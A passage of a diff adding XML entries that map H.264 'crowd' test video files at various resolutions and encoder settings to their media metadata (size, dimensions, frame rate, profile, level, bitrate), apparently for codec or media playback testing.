+    <value>mime=video/avc,size=829964,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=10358520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_1920x1088p50f32_8300kbps_level_5_hp.mp4">
+    <value>mime=video/avc,size=838433,width=1920,height=1088,frame-rate=50,profile=8,level=16384,bitrate=10464456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_352x288p50f32_400kbps_level_2.1_hp.mp4">
+    <value>mime=video/avc,size=27167,width=352,height=288,frame-rate=50,profile=8,level=64,bitrate=324480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_640x480p50f32_1200kbps_level_3.1_hp.mp4">
+    <value>mime=video/avc,size=92605,width=640,height=480,frame-rate=50,profile=8,level=512,bitrate=1141656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_64x64p50f32_200kbps_level_2_hp.mp4">
+    <value>mime=video/avc,size=11894,width=64,height=64,frame-rate=50,profile=8,level=32,bitrate=136496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_720x480p50f32_1300kbps_level_3_hp.mp4">
+    <value>mime=video/avc,size=101449,width=720,height=480,frame-rate=50,profile=8,level=256,bitrate=1252072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_720x576p50f32_1600kbps_level_3.1_hp.mp4">
+    <value>mime=video/avc,size=127332,width=720,height=576,frame-rate=50,profile=8,level=512,bitrate=1575648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps_hp.mp4">
+    <value>mime=video/avc,size=11887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=132624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps_hp.mp4">
+    <value>mime=video/avc,size=918418,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11464248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_16x16part_hp.mp4">
+    <value>mime=video/avc,size=945076,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11797472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps_hp.mp4">
+    <value>mime=video/avc,size=86179,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1061256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps_hp.mp4">
+    <value>mime=video/avc,size=1832002,width=1280,height=720,frame-rate=50,profile=8,level=4096,bitrate=22884056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps_hp.mp4">
+    <value>mime=video/avc,size=42544,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=515824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps_hp.mp4">
+    <value>mime=video/avc,size=454724,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5668072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_allpart_hp.mp4">
+    <value>mime=video/avc,size=873570,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10903656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6beta6_hp.mp4">
+    <value>mime=video/avc,size=917408,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11451632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6betam6_hp.mp4">
+    <value>mime=video/avc,size=882229,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11011872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6beta6_hp.mp4">
+    <value>mime=video/avc,size=882490,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11015136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6betam6_hp.mp4">
+    <value>mime=video/avc,size=883277,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11024968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_aud_hp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bff_hp.mp4">
+    <value>mime=video/avc,size=899546,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11228320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm0_hp.mp4">
+    <value>mime=video/avc,size=1015323,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12679312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm1_hp.mp4">
+    <value>mime=video/avc,size=918216,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11461624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm2_hp.mp4">
+    <value>mime=video/avc,size=893839,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11157920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm3bpyrmd_hp.mp4">
+    <value>mime=video/avc,size=880950,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10995896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm7opengop_hp.mp4">
+    <value>mime=video/avc,size=891233,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11125832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cnstintra_hp.mp4">
+    <value>mime=video/avc,size=881941,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11008272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_direct_hp.mp4">
+    <value>mime=video/avc,size=893394,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11152344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fakeinterlaced_hp.mp4">
+    <value>mime=video/avc,size=882484,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11015048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster_hp.mp4">
+    <value>mime=video/avc,size=853910,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10657912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast_hp.mp4">
+    <value>mime=video/avc,size=859887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10732608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hpcavlc_hp.mp4">
+    <value>mime=video/avc,size=975332,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12175672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hpcavlcno8x8noB_hp.mp4">
+    <value>mime=video/avc,size=1098159,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=13714848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hpno8x8_hp.mp4">
+    <value>mime=video/avc,size=856275,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=10687536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra16_hp.mp4">
+    <value>mime=video/avc,size=1137193,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=14201920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra1_hp.mp4">
+    <value>mime=video/avc,size=1857295,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=23204248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra2_hp.mp4">
+    <value>mime=video/avc,size=2227903,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=27835800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra300_hp.mp4">
+    <value>mime=video/avc,size=1010946,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12624600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_medium_hp.mp4">
+    <value>mime=video/avc,size=880410,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodblk_hp.mp4">
+    <value>mime=video/avc,size=883669,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11029880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodirect_hp.mp4">
+    <value>mime=video/avc,size=915258,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11425648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nowtpredb_hp.mp4">
+    <value>mime=video/avc,size=881351,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11000896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nowtpredp_hp.mp4">
+    <value>mime=video/avc,size=881065,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10997336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_placebo_hp.mp4">
+    <value>mime=video/avc,size=868980,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10846448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qlty16_hp.mp4">
+    <value>mime=video/avc,size=2259263,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=28224800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qlty51_hp.mp4">
+    <value>mime=video/avc,size=22981,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=271272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp47cqp12_hp.mp4">
+    <value>mime=video/avc,size=105975,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1308696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cqp6_hp.mp4">
+    <value>mime=video/avc,size=64715,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=792936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51_hp.mp4">
+    <value>mime=video/avc,size=64998,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=796480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref16_hp.mp4">
+    <value>mime=video/avc,size=875284,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10925032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref1_hp.mp4">
+    <value>mime=video/avc,size=884019,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11034256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref4_hp.mp4">
+    <value>mime=video/avc,size=880416,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sfast_hp.mp4">
+    <value>mime=video/avc,size=912779,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11393768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slower_hp.mp4">
+    <value>mime=video/avc,size=890999,width=1280,height=720,frame-rate=50,profile=8,level=2048,bitrate=11121584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow_hp.mp4">
+    <value>mime=video/avc,size=887885,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11082584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spatialdirect_hp.mp4">
+    <value>mime=video/avc,size=893858,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11158144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid1_hp.mp4">
+    <value>mime=video/avc,size=880387,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10988872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid31_hp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_temporaldirect_hp.mp4">
+    <value>mime=video/avc,size=893413,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11152584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tff_hp.mp4">
+    <value>mime=video/avc,size=900896,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11245200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ufast_hp.mp4">
+    <value>mime=video/avc,size=2105255,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=26303544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vfast_hp.mp4">
+    <value>mime=video/avc,size=806359,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10063520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vslow_hp.mp4">
+    <value>mime=video/avc,size=859925,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10733160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wtpredp1_hp.mp4">
+    <value>mime=video/avc,size=881090,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10997632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wtpredp2_hp.mp4">
+    <value>mime=video/avc,size=880387,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10988872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps_hp.mp4">
+    <value>mime=video/avc,size=16874,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=194944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps_hp.mp4">
+    <value>mime=video/avc,size=1016348,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12688344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_16x16part_hp.mp4">
+    <value>mime=video/avc,size=1802151,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22510896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps_hp.mp4">
+    <value>mime=video/avc,size=100876,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1244944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps_hp.mp4">
+    <value>mime=video/avc,size=2064245,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=25787080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps_hp.mp4">
+    <value>mime=video/avc,size=53444,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=652048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps_hp.mp4">
+    <value>mime=video/avc,size=501088,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=6247600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allpart_hp.mp4">
+    <value>mime=video/avc,size=1691441,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21127032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6beta6_hp.mp4">
+    <value>mime=video/avc,size=1767707,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22080360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6betam6_hp.mp4">
+    <value>mime=video/avc,size=1704258,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21287208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6beta6_hp.mp4">
+    <value>mime=video/avc,size=1707540,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21328232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6betam6_hp.mp4">
+    <value>mime=video/avc,size=1708536,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21340680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_aud_hp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bff_hp.mp4">
+    <value>mime=video/avc,size=1723861,width=1920,height=1080,frame-rate=50,profile=8,level=65536,bitrate=21532256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm0_hp.mp4">
+    <value>mime=video/avc,size=1875507,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23431568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm1_hp.mp4">
+    <value>mime=video/avc,size=1749106,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21847736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm2_hp.mp4">
+    <value>mime=video/avc,size=1712285,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21388480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm3bpyrmd_hp.mp4">
+    <value>mime=video/avc,size=1696634,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21191936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm7opengop_hp.mp4">
+    <value>mime=video/avc,size=1717467,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21453736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cnstintra_hp.mp4">
+    <value>mime=video/avc,size=1703947,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21283320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_direct_hp.mp4">
+    <value>mime=video/avc,size=1712808,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21395008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_fakeinterlaced_hp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=65536,bitrate=21196584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_faster_hp.mp4">
+    <value>mime=video/avc,size=1647304,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20575320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_fast_hp.mp4">
+    <value>mime=video/avc,size=1663863,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20782296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_hpcavlc_hp.mp4">
+    <value>mime=video/avc,size=1901604,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23754056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_hpcavlcno8x8noB_hp.mp4">
+    <value>mime=video/avc,size=2059430,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=25730712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_hpno8x8_hp.mp4">
+    <value>mime=video/avc,size=1647565,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=20578632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra16_hp.mp4">
+    <value>mime=video/avc,size=2093461,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=26155272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra300_hp.mp4">
+    <value>mime=video/avc,size=1871794,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23385168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_medium_hp.mp4">
+    <value>mime=video/avc,size=1696991,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nodblk_hp.mp4">
+    <value>mime=video/avc,size=1708230,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21336880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nodirect_hp.mp4">
+    <value>mime=video/avc,size=1771339,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22126648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nowtpredb_hp.mp4">
+    <value>mime=video/avc,size=1696721,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21193000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nowtpredp_hp.mp4">
+    <value>mime=video/avc,size=1697585,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21203824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_placebo_hp.mp4">
+    <value>mime=video/avc,size=1661778,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=20756384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qlty51_hp.mp4">
+    <value>mime=video/avc,size=53878,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=657472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp47cqp12_hp.mp4">
+    <value>mime=video/avc,size=220827,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=2744336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cqp6_hp.mp4">
+    <value>mime=video/avc,size=139889,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1732584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51_hp.mp4">
+    <value>mime=video/avc,size=140700,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1742744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref16_hp.mp4">
+    <value>mime=video/avc,size=1685291,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=21050120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref1_hp.mp4">
+    <value>mime=video/avc,size=1705073,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21297408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref4_hp.mp4">
+    <value>mime=video/avc,size=1697004,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sfast_hp.mp4">
+    <value>mime=video/avc,size=1768731,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22093144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slower_hp.mp4">
+    <value>mime=video/avc,size=1701445,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21252032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slow_hp.mp4">
+    <value>mime=video/avc,size=1699054,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21222184,max-bitrate=</value>
+  </entry>
